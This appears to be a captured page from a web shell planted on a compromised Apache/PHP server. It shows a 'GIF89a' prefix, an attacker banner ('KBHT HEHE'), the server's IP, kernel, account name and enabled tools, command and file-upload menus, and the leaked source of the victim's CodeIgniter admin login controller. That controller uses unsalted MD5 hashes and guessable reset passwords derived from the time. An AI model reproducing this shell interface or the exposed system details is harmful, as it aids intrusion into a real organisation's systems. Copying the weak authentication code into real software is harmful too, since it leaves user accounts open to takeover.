GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.136.26.156
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/controllers/admin/Authentication.php
<?php

/**
 * Login/Logout Authentication For Users
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Authentication extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/UserAuthenticator');
        $this->load->model('admin/StaffManagement');
        $this->load->model('admin/RoleManagement');
        $this->load->library('services/MailServices');
        $this->load->library('util/MailSender');
        $this->load->library('services/SMSServices');
        $this->load->library('util/SMSSender');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn()) {
            redirect("admin/Dashboard");
        } else {
            $this->load->view('admin/login');
        }
    }

    public function authLogin() {
        $this->form_validation->set_rules("username", "Username", "trim|required", array("required" => "Username Can Not Be Blank."));
        $this->form_validation->set_rules("password", "Password", "trim|required", array("required" => "Password Can Not Be Blank."));
        if ($this->form_validation->run() == FALSE) {
            $this->index();
        } else {
            $loginResponse = $this->UserAuthenticator->authLogin($this->input->post('username'), MD5($this->input->post('password')));
            if (gettype($loginResponse) == "string") {
                $this->session->set_flashdata('errorMessage', $loginResponse);
                $this->index();
            } else {
                if ($loginResponse) {
                    redirect("admin/Dashboard");
                } else {
                    $this->session->set_flashdata('errorMessage', 'Invalid Username Or Password');
                    $this->index();
                }
            }
        }
    }

    public function authLogout() {
        $this->UserAuthenticator->authLogout();
        redirect("admin/");
    }

    public function forgetPassword() {
        if ($this->sessionvalidator->isLoggedIn()) {
            redirect("admin/Dashboard");
        } else {
            if (isset($_POST['submitBtn'])) {
                $this->form_validation->set_rules("username", "Username", "trim|required", array("required" => "Username Can Not Be Blank."));
                if ($this->form_validation->run() == FALSE) {
                    $this->session->set_flashdata('errorMessage', validation_errors());
                    redirect(current_url());
                } else {
                    $loginDetailInfo = $this->StaffManagement->getLoginDetailInfoBySigninId(trim($this->input->post('username')))->result();
                    if (sizeof($loginDetailInfo) == 1) {
                        $employeeInfo = $this->StaffManagement->getEmployeeInfoBy($loginDetailInfo[0]->smember_id)->result()[0];
                        $randomPassword = substr(md5(time()), 0, 6);
                        $newPasswordUpdateInfo = array(
                            'tld_id' => $loginDetailInfo[0]->tld_id,
                            'tld_is_first_login' => 'T',
                            'tld_updated_on' => date("Y-m-d H:i:s"),
                            'tld_password' => MD5($randomPassword)
                        );
                        if ($this->UserAuthenticator->updateNewPassword($newPasswordUpdateInfo)) {
                            //$this->mailsender->sendMail("no-reply@caswebadmin.com", "CAS-ERP Web Admin", $employeeInfo->tprfl_email, "CAS-ERP Password Reset", $this->mailservices->getBodyForUserOnForgetPassword(stripslashes($employeeInfo->tprfl_firstname), $randomPassword));
                            $this->smssender->sendSMS($employeeInfo->tprfl_mobile_no, $this->smsservices->sendRandomPassword(stripslashes($employeeInfo->tprfl_firstname), $randomPassword));
                            $this->session->set_flashdata('successMessage', "New Password Has Been Sent On Your Registered Email & Mobile +91-" . substr($employeeInfo->tprfl_mobile_no, 0, 2) . "XXXXXX" . substr($employeeInfo->tprfl_mobile_no, 8));
                            redirect("admin/Authentication");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Resetting Password. Try Later.');
                            redirect(current_url());
                        }
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Invalid Username');
                        redirect(current_url());
                    }
                }
            } else {
                $this->load->view('admin/forgetPassword');
            }
        }
    }

    public function myAccountActivity() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['accessLogs'] = $this->AccessLog->getAllAccessLogsBy($this->session->userdata("adminData")["smember_id"])->result();
            $this->load->view('admin/myAccountActivity', $viewData);
        } else {
            $this->load->view('admin/login');
        }
    }

    public function accountActivities() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $employeeInfo = array();
            $accountActivity = array();
            $totalLogins = 0;
            if (isset($_POST['fetchAccountActivity'])) {
                $selectedEmployee = addslashes(trim($this->input->post('employee')));
                if ($selectedEmployee != "") {
                    $employeeInfo = $this->StaffManagement->getEmployeeInfoBy($selectedEmployee)->result();
                    $accountActivity = $this->AccessLog->getAllAccessLogsBy($selectedEmployee)->result();
                    $totalLogins = $this->AccessLog->getSuccessfulLoginCountsBy($selectedEmployee)->result()[0]->totalLogins;
                    $this->session->set_flashdata('errorMessage', NULL);
                } else {
                    $this->session->set_flashdata('errorMessage', "Please Select Any Employee To Get Account Activity Info.");
                    $employeeInfo = array();
                    $accountActivity = array();
                    $totalLogins = 0;
                }
            }
            $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result();
            $viewData['empInfo'] = $employeeInfo;
            $viewData['accountActivity'] = $accountActivity;
            $viewData['totLogins'] = $totalLogins;
            $this->load->view('admin/accountActivities', $viewData);
        } else {
            $this->load->view('admin/login');
        }
    }

    public function clearAccessLogs($smember_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->AccessLog->deleteAccessLogsBy($smember_id);
            $this->session->set_flashdata('successMessage', "Cleaning Successful.");
            redirect("admin/Authentication/accountActivities/");
        } else {
            $this->load->view('admin/login');
        }
    }

}

KBHT - 2023